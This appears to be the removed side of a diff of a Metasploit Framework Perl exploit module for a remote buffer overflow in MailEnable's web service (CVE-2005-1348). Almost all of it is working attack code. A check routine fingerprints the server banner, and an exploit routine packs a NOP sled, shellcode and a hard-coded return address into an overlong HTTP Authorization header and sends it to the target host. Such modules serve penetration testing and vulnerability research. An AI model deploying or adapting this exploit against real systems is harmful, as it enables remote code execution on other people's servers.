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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::mailenable_auth_header;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'MailEnable Authorization Header Buffer Overflow',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'win2003' ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 8080],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a remote buffer overflow in the MailEnable web service.
- The vulnerability is triggered when a large value is placed into the Authorization
- header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
- MailEnable Professional versions prior to 1.55 are affected.
- }),
- 'Refs' =>
- [
- ['OSVDB', '15913'],
- ['OSVDB', '15737'],
- ['BID', '13350'],
- ['CVE', '2005-1348'],
- ['NSS', '18123'],
- ['MIL', '97'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'Keys' => ['+ws2ord'],
- },
-
- 'Targets' =>
- [
- ['MEHTTPS.exe Universal', 0x006c36b7 ], #MEHTTPS.EXE
- ],
-
- 'Keys' => ['mailenable'],
-
- 'DisclosureDate' => 'Apr 24 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("GET / HTTP/1.0\r\n\r\n");
- my $res = $s->Recv(-1, 5);
- $s->Close();
-
- if (! $res) {
- $self->PrintLine("[*] No response to request");
- return $self->CheckCode('Generic');
- }
-
-
- if ($res =~ /Server: .*MailEnable/)
- {
- $self->PrintLine("[*] Server MailEnable may be vulnerable");
- return $self->CheckCode('Appears');
- }
- else
- {
- $self->PrintLine("[*] Server is probably not vulnerable");
- return $self->CheckCode('Safe');
- }
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target_idx = $self->GetVar('TARGET');
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $nop = $self->MakeNops(24);
-
- my $bof = $nop.$shellcode.pack('V',$target->[1]);
- my $ric = "GET / HTTP/1.0\r\n";
- my $ric2 = "Authorization: $bof\r\n\r\n";
-
- my $request = $ric.$ric2;
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target");
-
- $s->Send($request);
- $s->Close();
- return;
- }
-
- 1;
-